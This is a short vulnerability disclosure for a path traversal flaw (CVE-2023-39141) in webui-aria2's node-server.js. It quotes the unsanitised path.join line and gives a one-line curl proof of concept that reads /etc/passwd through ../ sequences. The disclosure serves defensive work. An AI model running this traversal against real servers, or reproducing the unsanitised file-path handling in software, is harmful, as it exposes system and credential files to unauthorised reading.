High severity security issue about webui-aria2

[JafarAkhondali]

Due to no response:
CVE-2023-39141 have been reserved for this vulnerability.

Vulnerability type:
Path traversal

Root cause: This line

webui-aria2/node-server.js

Line 10 in 109903f

filename = path.join(process.cwd(), "docs", uri);

accepts file name from URL input, without sanitizing it to be in the same directory.

PoC:
When node-server.js is used, an attacker can simply request files outside the serving path
curl --path-as-is http://localhost:8888/../../../../../../../../../../../../../../../../../../../../etc/passwd

Root cause: Attacker may read any file that the www user can read.

Vulnerable versions:
Right now all versions even latest commit "109903f0e2774cf948698cd95a01f77f33d7dd2c" are vulnerable.